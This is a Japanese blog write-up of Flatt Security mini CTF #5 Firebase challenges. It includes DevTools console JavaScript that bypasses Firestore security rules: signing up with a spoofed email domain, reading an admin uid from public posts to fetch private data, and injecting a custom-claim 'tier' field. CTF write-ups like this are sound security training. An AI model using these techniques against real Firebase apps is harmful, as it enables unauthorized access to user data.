はまやんはまやんはまやん

hamayanhamayan's blog

Flatt Security mini CTF #5 Writeups

https://flatt.connpass.com/event/320629/

Internal

add-flag.jsというファイルでフラグがどのように置かれているかが説明されている。

(async () => {
  /**
   * REDACTED
   */

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG
  });
})();

firestoreの/flags/flagに置かれているようだ。とりあえず他はよく読まず、ユーザー作成ができるのだろうと山を張って実際に解き始める。

コンテスト前にティザー問題として、ChromeのDevToolのConsoleを使ったfirebaseのAPIの呼び方が紹介されていた。なので、ライブラリのロード、認証情報の読み込み、firestoreの呼び出しは予習済み。

ChromeのDevToolのConsoleを開き、ライブラリのロードをする。

(async () => {
    const load = (url) =>
        new Promise((resolve) => {
        const script = document.createElement("script");
        script.setAttribute("src", url);
        script.onload = resolve;
        document.body.appendChild(script);
    });

    await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js");
})();

次に、認証情報の読み込みをしよう。認証情報は/public/src/firebase.tsにあるのでいい感じに整形して、以下のように読み込ませよう。

firebase.initializeApp({
    apiKey: 'AIzaSyBTn0 ...',
    ...[以下略]
});

次は、問題のユーザーの新規作成。手元のfirebaseメモを漁るとtoken = auth.create_user_with_email_and_password(email, password)というpyrebaseでの方法がメモってあった。そんなに変わらんやろということで、firebase.から補完を見てそれっぽい呼び出しを作っていく。(ChromeのDevToolのConsoleでライブラリを読み込ませてから呼び出しを試すと補完機能が使えるのがいいですね。雰囲気で呼び出せる)。色々試すと、以下でユーザーが作成できる。

firebase.auth().createUserWithEmailAndPassword("hamayanhamayan@example.com","pass1234")

エラーも出ないので作れていそうで、かつ、即座にGUI上でもログイン状態になった。(謎技術)ログインできたので、Get flagを押してみるがフラグが出ない。ここで認可設定を設定できるセキュリティルールを見ることにした。firestore.rulesで確認できる。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /flags/flag {
      allow get: if (
        request.auth != null &&

        // メールアドレスのドメインが @flatt.example.test ではない場合は拒否
        request.auth.token.email.matches("^.+@flatt.example.test$")
      );
    }
  }
}

つまり、/flags/flagをgetするには、

  • request.auth != null 認証済みで、
  • request.auth.token.email.matches("^.+@flatt.example.test$") メールアドレスの末尾が@flatt.example.testである

ことが要求されていた。よって、以下のように作成を変更してGet flagをするとフラグが得られる。

firebase.auth().createUserWithEmailAndPassword("hamayanhamayan@flatt.example.test","pass1234")

このアカウント作成をしていたときにst98さんが解きました!というのが聞こえて、2nd bloodになった。個人的に最速ラップくらいの感覚で解いたのだが早すぎる…

Posts

add-flag.jsというファイルを見てみよう。

(async () => {
  /**
   * REDACTED
   */

  await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  const adminUserId = firebase.auth().currentUser.uid;

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('publicPosts').add({
    name: 'admin@flatt.tech',
    body: "Hello, I'm admin!",
    createdBy: adminUserId,
  });
  await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
    name: 'FLAG',
    body: FLAG,
    createdBy: adminUserId,
  });
})();

adminユーザーが作られて、adminユーザーによってフラグが投稿されていた。今回は先にfirestore.rulesも見ていこう。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    function checkSchema() {
      let incoming = request.resource.data;

      return (
        incoming.keys().hasAll(['name', 'body', 'createdBy']) &&
        incoming.keys().hasOnly(['name', 'body', 'createdBy']) &&
        incoming.name is string &&
        incoming.name != "admin@flatt.tech" &&
        incoming.body is string &&
        incoming.body.size() >= 1 &&
        incoming.createdBy is string &&
        incoming.createdBy == request.auth.uid
      );
    }

    match /publicPosts/{postId} {
      allow read: if (
        request.auth != null
      );

      allow create: if (
        request.auth != null &&
        checkSchema()
      );
    }

    match /privatePosts/0/{uid}/{postId} {
      allow read: if (
        request.auth != null
      );

      allow create: if (
        request.auth != null &&
        checkSchema() &&
        uid == request.auth.uid
      );
    }
  }
}

/publicPosts/{postId}についてはログインしていれば見ることができ、/privatePosts/0/{uid}/{postId}についても同様にログインしていれば見ることができる。フラグはprivatePostsに書いてあるのだが、{uid}が分からない。uidが推測可能かもしれないと思い、とりあえず自分のuidを以下のように出力してみたが推測できそうな見た目ではなかった。

> firebase.auth().currentUser.uid
'wVHiMj1iSZWjlbFi6stae3fH8Xp1'

どうやって取得しようか考えていると、add-flag.jsでpublicPostsの方に自分のuidを入れ込んでいることに気が付く。

await firebase.firestore().collection('publicPosts').add({
    name: 'admin@flatt.tech',
    body: "Hello, I'm admin!",
    createdBy: adminUserId,
});

publicPostsはパスがすべて割れているので読める。これでパーツが揃った。前問同様にDevToolのConsoleを開き、ライブラリを読み込んで認証情報を読んでおく。

firebase.auth().createUserWithEmailAndPassword("hamayanhamayan@flatt.example.test","pass1234")

ユーザーを作って、

const snapshot = await firebase.firestore().collection('publicPosts').get();
snapshot.docs.forEach(doc => console.log(doc.data()));
-> ...
-> {name: 'admin@flatt.tech', createdBy: 'e3rd5IxFaOeTb6yFGsA2IRFEw9V2', body: "Hello, I'm admin!"}
-> ...

publicPostsからadmin@flatt.techを選んでcreatedByからadminのuidを取得して、

const snapshot = await firebase.firestore().collection('privatePosts').doc('0').collection('e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get();
snapshot.docs.forEach(doc => console.log(doc.data()));
-> {name: 'FLAG', body: 'flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}', createdBy: 'e3rd5IxFaOeTb6yFGsA2IRFEw9V2'}

それを使って読み込めばフラグが得られる。これも爆速でst98さんが解いており、なかなか良いラップを出したつもりでいたが、2nd blood。

Flatt Clicker 解けず

解けなかったのですが、かなり悔しいので戒めのために書いておく。add-flag.jsは以下のような形。

(async () => {
  /**
   * REDACTED
   */

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG,
  });
})();

/flags/flagに入っている。次はfirestore.rulesを見てみよう。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{uid} {
      allow get: if (
        request.auth != null &&
        request.auth.uid == uid
      );

      allow update: if (
        request.auth != null &&
        request.auth.uid == uid &&
        request.resource.data.keys().hasAll(['clicks']) &&
        request.resource.data.clicks is int &&
        request.resource.data.clicks == resource.data.clicks + 1
      );
    }


    match /flags/flag {
      allow get: if (
        request.auth != null &&
        request.auth.token.tier == 'HACKER'
      );
    }
  }
}

/flags/flagを見るには

  • request.auth != null 認証済みユーザーで、
  • request.auth.token.tier == 'HACKER' tier要素がHACKER

である必要がある。tierは一旦置いておいて、/users/{uid}のupdateを見ると、clicksというのが必要で、next_clicks = current_clicks + 1である条件が書かれている。

tierについての記載がないが、これはfunctionsの方のsrc/index.tsを見ると分かる。

export const updateTier = functions
  .firestore
  .document("/users/{userId}")
  .onUpdate(async (change, ctx) => {
    const data = change.after.data();
    try {
      let tier;

      if (data.clicks < 10) {
        tier = "BRONZE";
      } else if (data.clicks < 100) {
        tier = "SILVER";
      } else if (data.clicks < 3133333337) {
        tier = "GOLD";
      } else {
        tier = "HACKER";
      }

      await getAuth().setCustomUserClaims(ctx.params.userId, {
        tier,
        ...data,
      });

      return "OK";
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
});

firestoreの更新とトリガーにしてfunctionsが呼べる。更新されたらclicksの数値を確認して、それに応じてtierを追記してくれる。これによって、clicks数に応じてtierを確定させるという処理を実装している。

tierを外部から差し込めそうな雰囲気があったのでやってみるが、うまくいかない。

Consoleを立ち上げて、ライブラリを読み込み、認証情報を入れて、ユーザーを作り、自身のuidを取得して、tierを以下のように差し込む。

await firebase.firestore().collection('users').doc(firebase.auth().getUid()).set({clicks: 1, tier: "HACKER"});

エラーもなく成功するので、以下のようにflagを取得しようとするが、

(await firebase.firestore().collection('flags').doc('flags').get()).docs.forEach(doc => console.log(doc.data()));

とやるとFirebaseError: Missing or insufficient permissions.と言われる。気が動転していて、何もかも違っていることに気が付かなかったが、ここから色々試しているうちに終わってしまった。(ここで色々確認していれば…)

「Tierを更新した後に、Functionで更新される前に値を読み取ることができる?」とか「tierではなくTierにしたり、大量にtierを送り付けるといい感じに上書きできる?」とか「__tierみたいな裏記法がある?」とかを試しているうちに終わってしまった…

問題はフラグの取得方法だけでconst doc = await firebase.firestore().collection('flags').doc('flag').get(); console.log(doc.data());とやればフラグが得られます… すっと通せていれば…と思いながらfinishです。

NoteExporter 解いてない

メモ代わりに題名だけ書いておく。Hard問題。